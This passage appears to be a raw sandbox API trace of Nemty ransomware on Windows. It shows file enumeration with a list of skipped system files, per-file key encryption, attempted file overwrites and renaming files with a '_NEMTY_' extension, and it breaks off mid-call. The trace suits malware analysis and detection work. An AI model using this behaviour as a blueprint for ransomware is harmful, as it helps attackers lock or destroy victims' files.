lpWideCharStr="play_rest.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play_rest.png", lpUsedDefaultChar=0x0) returned 13 [0148.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_rest.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.665] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="play_rest.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="play_rest.png", lpUsedDefaultChar=0x0) returned 13 [0148.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0148.665] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0148.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0148.665] Sleep (dwMilliseconds=0x5) [0148.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xc423470, dwHighDateTime=0x1d561e8)) [0148.666] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xc423470, dwHighDateTime=0x1d561e8)) [0148.666] GetLastError () returned 0x5 [0148.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0148.666] GetLastError () returned 0x5 [0148.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0148.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0148.666] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0148.666] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0148.666] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0148.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0148.666] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="oHg4FaQiKp9uhH8kswmRiR4IFac5GPDwUrRyK/jCsYdnKLTvLUdyOl4pnycPPF8X\r\nqR6WtYwmf/XZkmdigHK/zDD9gkc49DEguZFPBs1mOCC1Pw5LLbao2AmHdDDfSd8T\r\ngOGl/UviRp/kSitkNyTkcQVhyvG/a0kawXiBUGAA4DAUVZk3Ehf2M+lHAJSjWO7d\r\neSMzdfsUv6eFcA8dFnkq21VUHW94eOA+0zgA+IjHDKUN9tBjjhV5Hx0rcm9/fMb4\r\n9piBadRHVFEu2cS7rt2zDweQ+kNkjuobkIEkXBgNZgbKNhZNLW4fXPy5fsv2+hi2\r\ncVVVVpCF311l5KOQhIb5lA==\r\n", pcchString=0x653e91c) returned 1 [0148.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0148.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0148.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0148.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0148.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0148.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0148.667] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_rest.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0148.667] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0148.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0148.667] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.667] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.676] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.676] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.676] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.685] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.685] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.685] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.685] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.694] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.694] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.694] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.703] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.704] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.722] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.722] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.722] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.741] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.741] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.741] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.750] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.750] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.750] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.767] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.767] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.767] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.767] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.773] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.773] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.773] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0148.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.780] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0148.780] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0148.780] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0148.780] CloseHandle (hObject=0xffffffff) returned 0 [0148.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0148.780] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0148.780] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0148.781] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0148.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0148.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0148.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0148.781] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0148.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0148.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0148.781] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_rest.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_rest.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\play_rest.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\slideshow.gadget\\images\\play_rest.png._nemty_kgobjgd_")) returned 0 [0148.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0148.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0148.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0148.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0148.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0148.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0148.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.781] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0148.781] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c02250, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x85c02250, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3daf40bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbf6, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="prev_down.png", cAlternateFileName="")) returned 1 [0148.781] lstrcmpiW (lpString1="prev_down.png", lpString2=".") returned 1 [0148.781] lstrcmpiW (lpString1="prev_down.png", lpString2="..") returned 1 [0148.781] lstrcmpiW (lpString1="prev_down.png", lpString2="...") returned 1 [0148.781] lstrcmpiW (lpString1="prev_down.png", lpString2="windows") returned -1 [0148.781] lstrcmpiW (lpString1="prev_down.png", lpString2="$RECYCLE.BIN") returned 1 [0148.781] lstrcmpiW (lpString1="prev_down.png", lpString2="rsa") returned -1 [0148.781] lstrcmpiW (lpString1="prev_down.png", lpString2="NTDETECT.COM") returned 1 [0148.781] lstrcmpiW (lpString1="prev_down.png", lpString2="ntldr") returned 1 [0148.781] lstrcmpiW (lpString1="prev_down.png", lpString2="MSDOS.SYS") returned 1 [0148.781] lstrcmpiW (lpString1="prev_down.png", lpString2="IO.SYS") returned 1 [0148.781] lstrcmpiW (lpString1="prev_down.png", lpString2="boot.ini") returned 1 [0148.781] lstrcmpiW (lpString1="prev_down.png", lpString2="boot.ini") returned 1 [0148.781] lstrcmpiW (lpString1="prev_down.png", lpString2="AUTOEXEC.BAT") returned 1 [0148.781] lstrcmpiW (lpString1="prev_down.png", lpString2="ntuser.dat") returned 1 [0148.782] lstrcmpiW (lpString1="prev_down.png", lpString2="desktop.ini") returned 1 [0148.782] lstrcmpiW (lpString1="prev_down.png", lpString2="CONFIG.SYS") returned 1 [0148.782] lstrcmpiW (lpString1="prev_down.png", lpString2="RECYCLER") returned -1 [0148.782] lstrcmpiW (lpString1="prev_down.png", lpString2="BOOTSECT.BAK") returned 1 [0148.782] lstrcmpiW (lpString1="prev_down.png", lpString2="bootmgr") returned 1 [0148.782] lstrcmpiW (lpString1="prev_down.png", lpString2="programdata") returned -1 [0148.782] lstrcmpiW (lpString1="prev_down.png", lpString2="appdata") returned 1 [0148.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_down.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_down.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prev_down.png", lpUsedDefaultChar=0x0) returned 13 [0148.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0148.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_down.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_down.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prev_down.png", lpUsedDefaultChar=0x0) returned 13 [0148.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0148.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_down.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_down.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prev_down.png", lpUsedDefaultChar=0x0) returned 13 [0148.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_down.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.782] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="prev_down.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prev_down.png", lpUsedDefaultChar=0x0) returned 13 [0148.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0148.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0148.782] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0148.782] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0148.782] Sleep (dwMilliseconds=0x5) [0148.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xc553f70, dwHighDateTime=0x1d561e8)) [0148.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xc553f70, dwHighDateTime=0x1d561e8)) [0148.791] GetLastError () returned 0x5 [0148.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0148.791] GetLastError () returned 0x5 [0148.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0148.791] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0148.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0148.791] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0148.791] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0148.791] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0148.791] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0148.791] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: 